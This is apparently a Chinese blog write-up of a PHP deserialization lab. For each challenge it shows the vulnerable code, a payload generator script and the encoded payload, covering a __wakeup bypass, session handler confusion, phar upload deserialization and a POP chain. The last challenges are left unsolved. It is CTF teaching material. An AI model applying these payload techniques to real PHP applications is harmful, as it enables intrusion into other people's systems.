2621 字
13 分钟
php反序列化靶场
2026-02-02

un1__wakeup()绕过#

<?php
class SoFun{
  protected $file='index.php';
  function __destruct(){
    if(!empty($this->file)) {
      if(strchr($this-> file,"\\")===false &&  strchr($this->file, '/')===false)
        show_source(dirname (__FILE__).'/'.$this ->file);
      else
        die('Wrong filename.');
    }
  }
  function __wakeup(){
   $this-> file='index.php';
  }
}
if (!isset($_GET['tryhackme'])){
  show_source(__FILE__);
}
else{
  $a=$_GET['tryhackme'];
  echo $a;
  unserialize($a);
}
 ?><!--key in flag1.php-->

攻击代码构造 定义一个SoFun对象,然后将其 $file 属性设置为 flag1.php。但注意到有__wakeup()这个方法,会将 $file 重置为 index.php,所以把这个绕过就好,先获得原始的列化字符串,然后修改表示对象属性个数的值就好。

<?php
class SoFun{
protected $file='flag1.php';
}
$obj = new SoFun();
$a = serialize($obj);
echo urlencode($a);
?>

执行获得

O%3A5%3A%22SoFun%22%3A1%3A%7Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A9%3A%22flag1.php%22%3B%7D

然后执行绕过_wakeup()方法的操作1改2

O%3A5%3A%22SoFun%22%3A2%3A%7Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A9%3A%22flag1.php%22%3B%7D

再根据代码要求GET传入?tryhackme=,即可得到flag

un2+#

<?php
include "flag2.php";
class funny{
    function __wakeup(){
        global $flag;
        echo $flag;
    }
}
if (isset($_GET['tryhackme'])){
$a = $_GET['tryhackme'];
    if(preg_match('/[oc]:\d+:/i', $a)){
        die("NONONO!");
    } else {
     unserialize($a);
    }
} else {
show_source(__FILE__);
}
?>

根据preg_match那一行就可以得知需要利用正则绕过中的加号绕过(需url编码)。

<?php
class funny{
//这里空着,需要一个空类,不定义属性,尝试过定义,没生成序列化字符串
}
$a = new funny();
$b = serialize($a);
echo $b;
?>

执行获得

O:5:"funny":0:{}

然后+号编码成%2B绕过

O:%2B5:"funny":0:{}

再根据代码要求GET传入?tryhackme=,即可得到flag

un3.#

<?php
include "flag3.php";
class funny{
    private $password;
    public $verify;
    function __wakeup(){
        global $nobodyknow;
        global $flag;        $this->password = $nobodyknow;
        if ($this->password === $this->verify){
            echo $flag;
        } else {
            echo "浣犱笉澶鍟�??!";
        }
    }
}
if (isset($_GET['tryhackme'])){
$a = $_GET['tryhackme'];
unserialize($a);
} else {    show_source(__FILE__);
}
?>

这个题目跟前面不太一样,这次需要触发__wakeup()$password=$nobodyknow,然后话需要$verify强等于$password

<?php
class funny{
    private $password;
    public $verify;
    public function gmf(){
         $this->verify =&$this->password;
    }
}
$a = new funny();
$a->gmf();
$b=serialize($a);
echo urlencode($b);
?>

执行获得

O%3A5%3A%22funny%22%3A2%3A%7Bs%3A15%3A%22%00funny%00password%22%3BN%3Bs%3A6%3A%22verify%22%3BR%3A2%3B%7D

然后按照要求get传参就好,获得flag

un4 session引擎#

<?php
// goto un42.php
ini_set('session.serialize_handler','php_serialize');
session_start();
if (isset($_GET['tryhackme'])){
$_SESSION['tryhackme'] = $_GET['tryhackme'];
} else {
show_source(__FILE__);
}
?>
  • 看到第三行的php_serialize立刻可以想起是session反序列化漏洞,php_serialize引擎。
  • 这里PHP会使用php_serialize引擎将数据存入session文件。即将tryhackeme参数传入$_SESSION['tryhackme']
  • 目标文件是un42.php,由于这里默认使用 php 引擎,所以有读取格式
键名|序列化内容

好分析完毕,按照第二行提示去访问一下un42.php

<?php
include "flag4.php"; ini_set('session.serialize_handler','php');
session_start();
class funny{
    public $a;
    function __destruct(){
        global $flag;
        echo $flag;
    }
}
show_source(__FILE__);
?>

那么生成payload的脚本就好写了

<?php
class funny {
public $a;
}
$obj = new funny();
$s = serialize($obj);
$payload = "|" . $s;
echo $payload . "\n";
echo urlencode($payload);
?>

执行可以得到

|O:5:"funny":1:{s:1:"a";N;}
%7CO%3A5%3A%22funny%22%3A1%3A%7Bs%3A1%3A%22a%22%3BN%3B%7D

然后按照第一串代码要求传入?tryhackme=,最后直接url将un4.php改成un42.php,页面上就会显示flag

un5私有属性 ASCII#

<?php
include "flag5.php";
class funny{
    private $a;
    function __construct() {
     $this->= "givemeflag";
    }
    function __destruct() {
         global $flag;
        if ($this->=== "givemeflag") {
             echo $flag;
        }
    }
}
if (isset($_GET['tryhackme']) && is_string($_GET['tryhackme'])){
$a = $_GET['tryhackme'];
for($i=0;$i<strlen($a);$i++)
{
     if (ord($a[$i]) < 32 || ord($a[$i]) > 126) {
         die("浣犲埌搴曡涓嶈鍟�");
    }
}
unserialize($a);
} else {
show_source(__FILE__);
}
?>
  • 由于$a是私有的private,而在 PHP 序列化中,私有属性的存储格式是:\0类名\0属性名\0 代表空字符/Null Byte,ASCII 码为 0),不进行替换的话,就会由于后面的for循环判断条件而die 绕过思路 PHP 的 unserialize() 函数支持一种特殊的字符串格式,用 S 表示。
  • 小写 s:标准的字符串,如 s:5:"hello"
  • 大写 S:支持十六进制转义的字符串。它允许用 \ 加上十六进制数来表示字符。
    • 例如:\00 代表 Null Byte。
    • 关键点:\0 都是可见字符(ASCII > 32),可以完美绕过过滤器的检测!

所以生成payload的脚本

<?php
class funny {
private $a = "givemeflag";
}
$obj = new funny();
$a = serialize($obj);
$b = str_replace(chr(0), '\00', $a);
//将不可见的 Null Byte (chr(0)) 替换为字面量字符串 "\00",也就是控制所有字符的ASCII值再32~126之间
$c = str_replace('s:8:', 'S:8:', $b);
echo $c . "\n";
echo urlencode($c);
?>

执行可以得到

O:5:"funny":1:{S:8:"\00funny\00a";s:10:"givemeflag";}
O%3A5%3A%22funny%22%3A1%3A%7BS%3A8%3A%22%5C00funny%5C00a%22%3Bs%3A10%3A%22givemeflag%22%3B%7D

然后GET传入,即可得到flag

un6可调用机制#

<?php
include "flag6.php";
class funny{
    public function pyflag(){
        global $flag;
        echo $flag;
    }
}
if (isset($_GET['tryhackme']) && is_string($_GET['tryhackme'])){
$a = unserialize($_GET['tryhackme']);
$a();
} else {    show_source(__FILE__);
}
?>

这个题乍看没啥东西,最开始大意写的payload生成脚本一直错误。 实际考察了可调用机制,即PHP 可调用(callable) 反序列化利用。表达式 $a() 会把 $a 当作 _callable_ 来调用,PHP 中一个合法的 callable 可以是 [$object, "methodName"](数组形式),因此如果我们让 unserialize() 返回这样的数组:第一个元素是 funny 类的对象,第二个元素是字符串 "pyflag",那么 $a() 就会等价于调用 $object->pyflag(),从而打印出 $flag

<?php
class funny{
public function pyflag(){}
}
$obj=new funny();
$payload = array($obj, "pyflag");
$a = serialize($payload);
echo urlencode($a);
?>

执行获得

a%3A2%3A%7Bi%3A0%3BO%3A5%3A%22funny%22%3A0%3A%7B%7Di%3A1%3Bs%3A6%3A%22pyflag%22%3B%7D

然后按照要求GET传参,成功得到flag

un7 phar反序列化#

<?php
include "flag7.php";
class funny{
    function __destruct() {
        global $flag;
        echo $flag;
    }
}
show_source(__FILE__);
if (isset($_GET['action'])) {
$a = $_GET['action'];
     if ($a === "check") {
     $b = $_GET['file'];
         if (file_exists($b) && !empty($b)) {
             echo "$b is exist!";
        }
    } else if ($a === "upload") {
        if (!is_dir("./upload")){
         mkdir("./upload");
        }
        $filename = "./upload/".rand(1, 10000).".txt";
        if (isset($_GET['data'])){
         file_put_contents($filename, base64_decode($_GET['data']));
             echo "Your file path:$filename";
        }
    }
}
?>

这个就是考察phar反序列化了 代码中没有任何 unserialize() 函数。 通常情况下,没有 unserialize() 就无法进行反序列化攻击。但是,这里有两个关键点组合在一起,构成了漏洞:

  1. 文件上传功能 (action=upload):允许我们写入文件,虽然强制后缀是 .txt,但内容由我们控制(base64解码后写入)。
  2. 文件存在检查 (action=check):使用了 file_exists($b)核心原理: 在 PHP 中,大部分文件系统函数(如 file_exists, is_dir, file_get_contents 等)都支持伪协议(Wrappers)。 如果使用 phar:// 伪协议读取一个 PHAR 文件(PHP Archive),PHP 会自动解析该文件中的元数据(Metadata)。而这个元数据是以序列化的形式存储的。 这意味着:file_exists("phar://path/to/file") 等同于 unserialize(metadata)。即使文件后缀是 .txt,只要内容符合 PHAR 格式,phar:// 协议依然能解析它。

所以解题思路就清晰了

生成:在本地生成一个包含恶意 funny 对象的 PHAR 文件。
上传:将这个文件上传到服务器。
触发:利用 file_exists 和 phar:// 协议触发反序列化。

解题 1.生成脚本 用来生成文件的本地PHP脚本,运行此脚本需要本地 php.ini 中设置 phar.readonly = Off 只想临时关闭的话,可以php -d phar.readonly=0 文件名

<?php
// 1. 定义目标类 (根据题目代码)
class funny {
// 题目中类里没有属性,只有方法
// 反序列化时只需类名匹配即可触发 __destruct
}
// 2. 创建 Phar 对象
// 注意:如果本地已有 phar.phar,先手动删除
@unlink("phar.phar");
$phar = new Phar("phar.phar");
$phar->startBuffering();
// 3. 设置 Stub (Phar 文件头)
// 必须以 __HALT_COMPILER(); 结尾,否则 PHP 不认它是 Phar 文件
$phar->setStub("<?php __HALT_COMPILER(); ?>");
// 4. 将恶意对象放入 Metadata (这是核心!)
// 当 Phar 被解析时,这里的对象会被反序列化
$o = new funny();
$phar->setMetadata($o);
// 5. 添加一个随意的压缩文件(必须有文件才能生成包)
$phar->addFromString("test.txt", "test");
// 6. 停止缓冲,生成文件
$phar->stopBuffering();
// 7. 输出 Base64 编码 (为了配合题目上传接口)
echo "请复制下面的 Base64 字符串用于上传:\n\n";
echo base64_encode(file_get_contents("phar.phar"));
?>

无注释纯享版

<?php
class funny {
}
@unlink("phar.phar");
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$o = new funny();
$phar->setMetadata($o);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
echo "请复制下面的 Base64 字符串用于上传:\n\n";
echo base64_encode(file_get_contents("phar.phar"));
?>

执行得到

PD9waHAgX19IQUxUX0NPTVBJTEVSKCk7ID8+DQpGAAAAAQAAABEAAAABAAAAAAAQAAAATzo1OiJmdW5ueSI6MDp7fQgAAAB0ZXN0LnR4dAQAAADolX9pBAAAAAx+f9i2AQAAAAAAAHRlc3Tpo/SpIefuDrguNs0qB1bKpNgjrgIAAABHQk1C

2.上传文件 利用题目的 action=upload 功能

?action=upload&data=【这里填上面生成的Base64字符串】

访问后,服务器会解码并保存文件,屏幕上会显示文件路径:Your file path:./upload/1468.txt

3.触发反序列化 利用题目的 action=checkfile_exists

Payload 构造

?action=check&file=phar://./upload/1468.txt

显示:phar://upload/1468.txt is exist!flag{pH4r_lS_4Unny!!}

un8 pop链#

<?php
include "flag8.php";
class {
    public $object;
    public function resolve() {        array_walk($this, function($fn, $prev){
            if ($fn[0] === "system" && $prev === "ls") {
                echo "Wow, you rce me! But I can't let you do this. There is the flag. Enjoy it:)\n";
                global $flag;
                echo $flag;
            }
        });
    }
    public function __destruct() {
        @$this->object->add();
    }
    public function __toString() {
        return $this->object->string;
    }
}
class {
    protected $filename;
    protected function addMe() {
        return "Add Failed. Filename:".$this->filename;
    }
    public function __call($func, $args) {        call_user_func([$this, $func."Me"], $args);
    }
}
class {
    private $string;
    public function __construct($string) {        $this->string = $string;
    }
    public function __get($name) {        $var = $this->$name;        $var[$name]();
    }
}
if (isset($_GET["tryhackme"])) {    unserialize($_GET['tryhackme']);
} else {    highlight_file(__FILE__);
}

思路分析全解

  • 终点 (Flag): a::resolve()

    • 触发条件: array_walk 遍历 $this 的属性时,必须有一个属性的键名"ls",且是一个数组,其第 0 个元素是 "system"

    • Payload 需求: 需要一个 a 类对象(记为 $A_final),它有一个动态属性 $ls = ["system"]

  • 谁能调用 resolve?: c::__get()

    • 代码:$var[$name]();

    • 如果我们控制 $var['string' => [$A_final, 'resolve']],那么 $var['string']() 就等同于 $A_final->resolve()

    • 触发 __get 的条件是访问不存在或私有的属性。

    • Payload 需求: 需要一个 c 类对象(记为 $C),其内部 $string 属性构造为上述数组。

  • 谁能触发 c::__get?: a::__toString()

    • 代码:return $this->object->string;

    • 如果 $this->object 是对象 $C,因为 stringc 的私有属性,在 a 类中无法直接访问,所以会自动触发 $C->__get('string')

    • Payload 需求: 需要一个 a 类对象(记为 $A_middle),其 $object 属性为 $C

  • 谁能触发 a::__toString?: b::addMe()

    • 代码:return "Add Failed. Filename:".$this->filename;

    • 字符串拼接操作会将对象当做字符串处理,自动触发 __toString()

    • Payload 需求: 需要一个 b 类对象(记为 $B),其 $filename 属性为 $A_middle

  • 谁能触发 b::addMe?: b::__call()

    • 代码:call_user_func([$this, $func."Me"], $args);

    • 如果调用不存在的方法 add(),就会执行 addMe()

  • 起点 (入口): a::__destruct()

    • 代码:@$this->object->add();

    • 这是 POP 链的开始。对象销毁时自动执行。

    • Payload 需求: 需要一个 a 类对象(记为 $A_start),其 $object 属性为 $B

payload生成脚本

<?php
// 1. 定义与题目完全一致的类结构,以便生成序列化字符串
class a {
public $object;
// 这里的 $ls 是为了满足 resolve() 中的校验条件动态添加的
public $ls;
}
class b {
protected $filename;
// 辅助方法,用于设置 protected 属性
public function setFilename($obj){
$this->filename = $obj;
}
}
class c {
private $string;
public function __construct($string) {
$this->string = $string;
}
}
// --- 开始构造 POP 链 ---
// 步骤 1: 构造最终执行 resolve 的对象
// 满足条件: $prev === "ls" (属性名) && $fn[0] === "system" (属性值)
$target_a = new a();
$target_a->ls = array("system");
// 步骤 2: 构造 c 类对象
// 它的 $string 属性是一个数组,用于在 __get 中被当做函数执行
// 数组格式为 [$obj, 'method'],这是 PHP 的 Callable 格式
$c = new c(array('string' => array($target_a, 'resolve')));
// 步骤 3: 构造触发 __toString 的 a 类对象
// 当访问 $middle_a->object->string 时,因为 object 是 c 类且 string 私有,触发 __get
$middle_a = new a();
$middle_a->object = $c;
// 步骤 4: 构造 b 类对象
// 它的 filename 是 $middle_a。当进行字符串拼接时,触发 $middle_a 的 __toString
$b = new b();
$b->setFilename($middle_a);
// 步骤 5: 构造入口 a 类对象
// 析构时调用 $this->object->add()。因为 b 没有 add 方法,触发 __call
$start_a = new a();
$start_a->object = $b;
// 生成 Payload
echo urlencode(serialize($start_a));
?>

执行获得

O%3A1%3A%22a%22%3A2%3A%7Bs%3A6%3A%22object%22%3BO%3A1%3A%22b%22%3A1%3A%7Bs%3A11%3A%22%00%2A%00filename%22%3BO%3A1%3A%22a%22%3A2%3A%7Bs%3A6%3A%22object%22%3BO%3A1%3A%22c%22%3A1%3A%7Bs%3A9%3A%22%00c%00string%22%3Ba%3A1%3A%7Bs%3A6%3A%22string%22%3Ba%3A2%3A%7Bi%3A0%3BO%3A1%3A%22a%22%3A2%3A%7Bs%3A6%3A%22object%22%3BN%3Bs%3A2%3A%22ls%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A6%3A%22system%22%3B%7D%7Di%3A1%3Bs%3A7%3A%22resolve%22%3B%7D%7D%7Ds%3A2%3A%22ls%22%3BN%3B%7D%7Ds%3A2%3A%22ls%22%3BN%3B%7D

然后get请求就可以看到flag

un9反序列化+SSRF#

<?php
// POST py=flag&url=yoururl to un92.php and you will get the flag
if (isset($_GET['tryhackme']) && is_string($_GET['tryhackme'])){
$a = unserialize($_GET['tryhackme']);
$a->pyflag();
} else {    show_source(__FILE__);
}
?>

嘶这个题一直接接收不到flag,先做后面的

un10#

<?php
include("flag10.php");
class {
    public $test_1;
    public $string;
    public $test_2;
    public function __construct($test_1, $string, $test_2) {        $this->test_1 = $test_1;        $this->string = $string;        $this->test_2 = $test_2;
    }
    public static function filePutStr ($string) {
        return str_replace("\0*\0", "00*00", $string);
    }
    public static function fileGetStr ($string) {
        return str_replace("00*00", "\0*\0", $string);
    }
    public function __wakeup() {        $string = str_replace("1", "2", $this->string);
        if ($string == 1) {
            echo "Egg!!!";
        } else {
            echo "No egg, but you can get the flag!";
        }
    }
}
class {
    public $a;
    protected $function;
    public function __toString() {
        if (is_string($this->a)) {
            return $this->a;
        } else if (is_callable($this->a)) {
            return call_user_func($this->a);
        } else {
            return "nope";
        }
    }
    public function fly() {
        if ($this->function) {
            global $flag;
            echo $flag;
        }
        return "nope";
    }
}
if ($_GET["mode"] == "ser" && isset($_GET["data"])) {
    if (!is_dir("./tmp")) {
        @mkdir("./tmp");
    }
    if (preg_match("/(fly)|(S)/", $_GET["data"])) {
        die("Don't hack me, please~");
    } else {        $a = new a($_GET['test_1'], $_GET["data"], $_GET["test_2"]);        $data = a::filePutStr(serialize($a));        file_put_contents("./tmp/".md5($_SERVER["REMOTE_ADDR"]), $data);
    }
} else if ($_GET["mode"] == "unser") {    $data = file_get_contents("./tmp/".md5($_SERVER["REMOTE_ADDR"]));    $data = a::fileGetStr($data);    unserialize($data);
} else {    highlight_file(__FILE__);
}

un11#

php反序列化靶场
https://fuwari.vercel.app/posts/php-unserialize/
作者
BIG熙
发布于
2026-02-02
许可协议
CC BY-NC-SA 4.0